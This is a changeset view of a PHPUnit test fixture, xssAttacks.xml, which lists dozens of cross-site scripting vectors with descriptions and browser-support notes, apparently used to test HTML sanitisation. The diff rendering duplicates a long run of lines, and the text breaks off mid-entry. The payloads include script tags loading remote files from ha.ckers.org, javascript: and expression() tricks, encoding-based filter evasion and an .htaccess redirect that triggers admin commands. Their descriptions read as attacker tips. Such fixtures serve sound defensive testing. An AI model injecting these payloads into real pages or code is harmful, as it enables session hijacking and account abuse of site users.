Changeset 57987 for trunk/tests/phpunit/data/formatting/xssAttacks.xml
- Timestamp:
- 04/12/2024 05:45:23 PM (10 months ago)
- File:
-
- 1 edited
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trunk/tests/phpunit/data/formatting/xssAttacks.xml
r46587 r57987 1 1 <?xml version="1.0"?> 2 <xss> 3 <attack> 4 <name>XSS Locator</name> 5 <code>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}</code> 6 <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> 7 <label>Basic XSS Attacks</label> 8 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 9 </attack> 10 <attack> 11 <name>XSS Quick Test</name> 12 <code>'';!--"<XSS>=&{()}</code> 13 <desc>If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.</desc> 14 <label>Basic XSS Attacks</label> 15 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 16 </attack> 17 <attack> 18 <name>SCRIPT w/Alert()</name> 19 <code><SCRIPT>alert('XSS')</SCRIPT></code> 20 <desc>Basic injection attack</desc> 21 <label>Basic XSS Attacks</label> 22 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 23 </attack> 24 <attack> 25 <name>SCRIPT w/Source File</name> 26 <code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code> 27 <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> 28 <label>Basic XSS Attacks</label> 29 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 30 </attack> 31 <attack> 32 <name>SCRIPT w/Char Code</name> 33 <code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code> 34 <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.</desc> 35 <label>Basic XSS Attacks</label> 36 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 37 </attack> 38 <attack> 39 <name>BASE</name> 40 <code><BASE HREF="javascript:alert('XSS');//"></code> 41 <desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> 42 <label>HTML Element Attacks</label> 43 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 44 </attack> 45 <attack> 46 <name>BGSOUND</name> 47 <code><BGSOUND SRC="javascript:alert('XSS');"></code> 48 <desc>BGSOUND</desc> 49 <label>HTML Element Attacks</label> 50 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 51 </attack> 52 <attack> 53 <name>BODY background-image</name> 54 <code><BODY BACKGROUND="javascript:alert('XSS');"></code> 55 <desc>BODY image</desc> 56 <label>HTML Element Attacks</label> 57 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 58 </attack> 59 <attack> 60 <name>BODY ONLOAD</name> 61 <code><BODY ONLOAD=alert('XSS')></code> 62 <desc>BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)</desc> 63 <label>HTML Element Attacks</label> 64 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 65 </attack> 66 <attack> 67 <name>DIV background-image 1</name> 68 <code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code> 69 <desc>Div background-image</desc> 70 <label>HTML Element Attacks</label> 71 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 72 </attack> 73 <attack> 74 <name>DIV background-image 2</name> 75 <code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code> 76 <desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> 77 <label>HTML Element Attacks</label> 78 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 79 </attack> 80 <attack> 81 <name>DIV expression</name> 82 <code><DIV STYLE="width: expression(alert('XSS'));"></code> 83 <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"</desc> 84 <label>HTML Element Attacks</label> 85 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 86 </attack> 87 <attack> 88 <name>FRAME</name> 89 <code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code> 90 <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> 91 <label>HTML Element Attacks</label> 92 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 93 </attack> 94 <attack> 95 <name>IFRAME</name> 96 <code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code> 97 <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> 98 <label>HTML Element Attacks</label> 99 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 100 </attack> 101 <attack> 102 <name>INPUT Image</name> 103 <code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code> 104 <desc>INPUT Image</desc> 105 <label>HTML Element Attacks</label> 106 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 107 </attack> 108 <attack> 109 <name>IMG w/JavaScript Directive</name> 110 <code><IMG SRC="javascript:alert('XSS');"></code> 111 <desc>Image XSS using the JavaScript directive.</desc> 112 <label>HTML Element Attacks</label> 113 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 114 </attack> 115 <attack> 116 <name>IMG No Quotes/Semicolon</name> 117 <code><IMG SRC=javascript:alert('XSS')></code> 118 <desc>No quotes and no semicolon</desc> 119 <label>HTML Element Attacks</label> 120 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 121 </attack> 122 <attack> 123 <name>IMG Dynsrc</name> 124 <code><IMG DYNSRC="javascript:alert('XSS');"></code> 125 <desc>IMG Dynsrc</desc> 126 <label>HTML Element Attacks</label> 127 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 128 </attack> 129 <attack> 130 <name>IMG Lowsrc</name> 131 <code><IMG LOWSRC="javascript:alert('XSS');"></code> 132 <desc>IMG Lowsrc</desc> 133 <label>HTML Element Attacks</label> 134 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 135 </attack> 136 <attack> 137 <name>IMG Embedded commands 1</name> 138 <code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code> 139 <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc> 140 <label>HTML Element Attacks</label> 141 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 142 </attack> 143 <attack> 144 <name>IMG Embedded commands 2</name> 145 <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code> 146 <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> 147 <label>HTML Element Attacks</label> 148 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 149 </attack> 150 <attack> 151 <name>IMG STYLE w/expression</name> 2 <xss> 3 <attack> 4 <name>XSS Locator</name> 5 <code>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}</code> 6 <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> 7 <label>Basic XSS Attacks</label> 8 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 9 </attack> 10 <attack> 11 <name>XSS Quick Test</name> 12 <code>'';!--"<XSS>=&{()}</code> 13 <desc>If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.</desc> 14 <label>Basic XSS Attacks</label> 15 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 16 </attack> 17 <attack> 18 <name>SCRIPT w/Alert()</name> 19 <code><SCRIPT>alert('XSS')</SCRIPT></code> 20 <desc>Basic injection attack</desc> 21 <label>Basic XSS Attacks</label> 22 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 23 </attack> 24 <attack> 25 <name>SCRIPT w/Source File</name> 26 <code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code> 27 <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> 28 <label>Basic XSS Attacks</label> 29 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 30 </attack> 31 <attack> 32 <name>SCRIPT w/Char Code</name> 33 <code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code> 34 <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.</desc> 35 <label>Basic XSS Attacks</label> 36 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 37 </attack> 38 <attack> 39 <name>BASE</name> 40 <code><BASE HREF="javascript:alert('XSS');//"></code> 41 <desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> 42 <label>HTML Element Attacks</label> 43 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 44 </attack> 45 <attack> 46 <name>BGSOUND</name> 47 <code><BGSOUND SRC="javascript:alert('XSS');"></code> 48 <desc>BGSOUND</desc> 49 <label>HTML Element Attacks</label> 50 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 51 </attack> 52 <attack> 53 <name>BODY background-image</name> 54 <code><BODY BACKGROUND="javascript:alert('XSS');"></code> 55 <desc>BODY image</desc> 56 <label>HTML Element Attacks</label> 57 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 58 </attack> 59 <attack> 60 <name>BODY ONLOAD</name> 61 <code><BODY ONLOAD=alert('XSS')></code> 62 <desc>BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)</desc> 63 <label>HTML Element Attacks</label> 64 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 65 </attack> 66 <attack> 67 <name>DIV background-image 1</name> 68 <code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code> 69 <desc>Div background-image</desc> 70 <label>HTML Element Attacks</label> 71 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 72 </attack> 73 <attack> 74 <name>DIV background-image 2</name> 75 <code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code> 76 <desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> 77 <label>HTML Element Attacks</label> 78 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 79 </attack> 80 <attack> 81 <name>DIV expression</name> 82 <code><DIV STYLE="width: expression(alert('XSS'));"></code> 83 <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"</desc> 84 <label>HTML Element Attacks</label> 85 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 86 </attack> 87 <attack> 88 <name>FRAME</name> 89 <code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code> 90 <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> 91 <label>HTML Element Attacks</label> 92 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 93 </attack> 94 <attack> 95 <name>IFRAME</name> 96 <code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code> 97 <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> 98 <label>HTML Element Attacks</label> 99 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 100 </attack> 101 <attack> 102 <name>INPUT Image</name> 103 <code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code> 104 <desc>INPUT Image</desc> 105 <label>HTML Element Attacks</label> 106 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 107 </attack> 108 <attack> 109 <name>IMG w/JavaScript Directive</name> 110 <code><IMG SRC="javascript:alert('XSS');"></code> 111 <desc>Image XSS using the JavaScript directive.</desc> 112 <label>HTML Element Attacks</label> 113 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 114 </attack> 115 <attack> 116 <name>IMG No Quotes/Semicolon</name> 117 <code><IMG SRC=javascript:alert('XSS')></code> 118 <desc>No quotes and no semicolon</desc> 119 <label>HTML Element Attacks</label> 120 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 121 </attack> 122 <attack> 123 <name>IMG Dynsrc</name> 124 <code><IMG DYNSRC="javascript:alert('XSS');"></code> 125 <desc>IMG Dynsrc</desc> 126 <label>HTML Element Attacks</label> 127 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 128 </attack> 129 <attack> 130 <name>IMG Lowsrc</name> 131 <code><IMG LOWSRC="javascript:alert('XSS');"></code> 132 <desc>IMG Lowsrc</desc> 133 <label>HTML Element Attacks</label> 134 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 135 </attack> 136 <attack> 137 <name>IMG Embedded commands 1</name> 138 <code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code> 139 <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc> 140 <label>HTML Element Attacks</label> 141 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 142 </attack> 143 <attack> 144 <name>IMG Embedded commands 2</name> 145 <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code> 146 <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> 147 <label>HTML Element Attacks</label> 148 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 149 </attack> 150 <attack> 151 <name>IMG STYLE w/expression</name> 152 152 <code>exp/*<XSS STYLE='no\xss:noxss("*//*"); 153 xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code> 154 <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> 155 <label>HTML Element Attacks</label> 156 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 157 </attack> 158 <attack> 159 <name>List-style-image</name> 160 <code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code> 161 <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> 162 <label>HTML Element Attacks</label> 163 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 164 </attack> 165 <attack> 166 <name>IMG w/VBscript</name> 167 <code><IMG SRC='vbscript:msgbox("XSS")'></code> 168 <desc>VBscript in an image</desc> 169 <label>HTML Element Attacks</label> 170 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 171 </attack> 172 <attack> 173 <name>LAYER</name> 174 <code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code> 175 <desc>Layer (Older Netscape only)</desc> 176 <label>HTML Element Attacks</label> 177 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 178 </attack> 179 <attack> 180 <name>Livescript</name> 181 <code><IMG SRC="livescript:[code]"></code> 182 <desc>Livescript (Older Netscape only)</desc> 183 <label>HTML Element Attacks</label> 184 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 185 </attack> 186 <attack> 187 <name>US-ASCII encoding</name> 188 <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> 189 <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> 190 <label>HTML Element Attacks</label> 191 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser> 192 </attack> 193 <attack> 194 <name>META</name> 195 <code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code> 196 <desc>The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> 197 <label>HTML Element Attacks</label> 198 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 199 </attack> 200 <attack> 201 <name>META w/data:URL</name> 202 <code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code> 203 <desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> 204 <label>HTML Element Attacks</label> 205 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 206 </attack> 207 <attack> 208 <name>META w/additional URL parameter</name> 209 <code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code> 210 <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> 211 <label>HTML Element Attacks</label> 212 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 213 </attack> 214 <attack> 215 <name>Mocha</name> 216 <code><IMG SRC="mocha:[code]"></code> 217 <desc>Mocha (Older Netscape only)</desc> 218 <label>HTML Element Attacks</label> 219 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 220 </attack> 221 <attack> 222 <name>OBJECT</name> 223 <code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code> 224 <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> 225 <label>HTML Element Attacks</label> 226 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 227 </attack> 228 <attack> 229 <name>OBJECT w/Embedded XSS</name> 230 <code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code> 231 <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> 232 <label>HTML Element Attacks</label> 233 <browser>Browser support:</browser> 234 </attack> 235 <attack> 236 <name>Embed Flash</name> 237 <code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code> 238 <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> 239 <label>HTML Element Attacks</label> 240 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 241 </attack> 242 <attack> 243 <name>OBJECT w/Flash 2</name> 244 <code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);</code> 245 <desc>Using this action script inside flash can obfuscate your XSS vector.</desc> 246 <label>HTML Element Attacks</label> 247 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 248 </attack> 249 <attack> 250 <name>STYLE</name> 251 <code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code> 252 <desc>STYLE tag (Older versions of Netscape only)</desc> 253 <label>HTML Element Attacks</label> 254 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 255 </attack> 256 <attack> 257 <name>STYLE w/Comment</name> 258 <code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code> 259 <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> 260 <label>HTML Element Attacks</label> 261 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 262 </attack> 263 <attack> 264 <name>STYLE w/Anonymous HTML</name> 265 <code><XSS STYLE="xss:expression(alert('XSS'))"></code> 266 <desc>Anonymous HTML with STYLE attribute (IE and 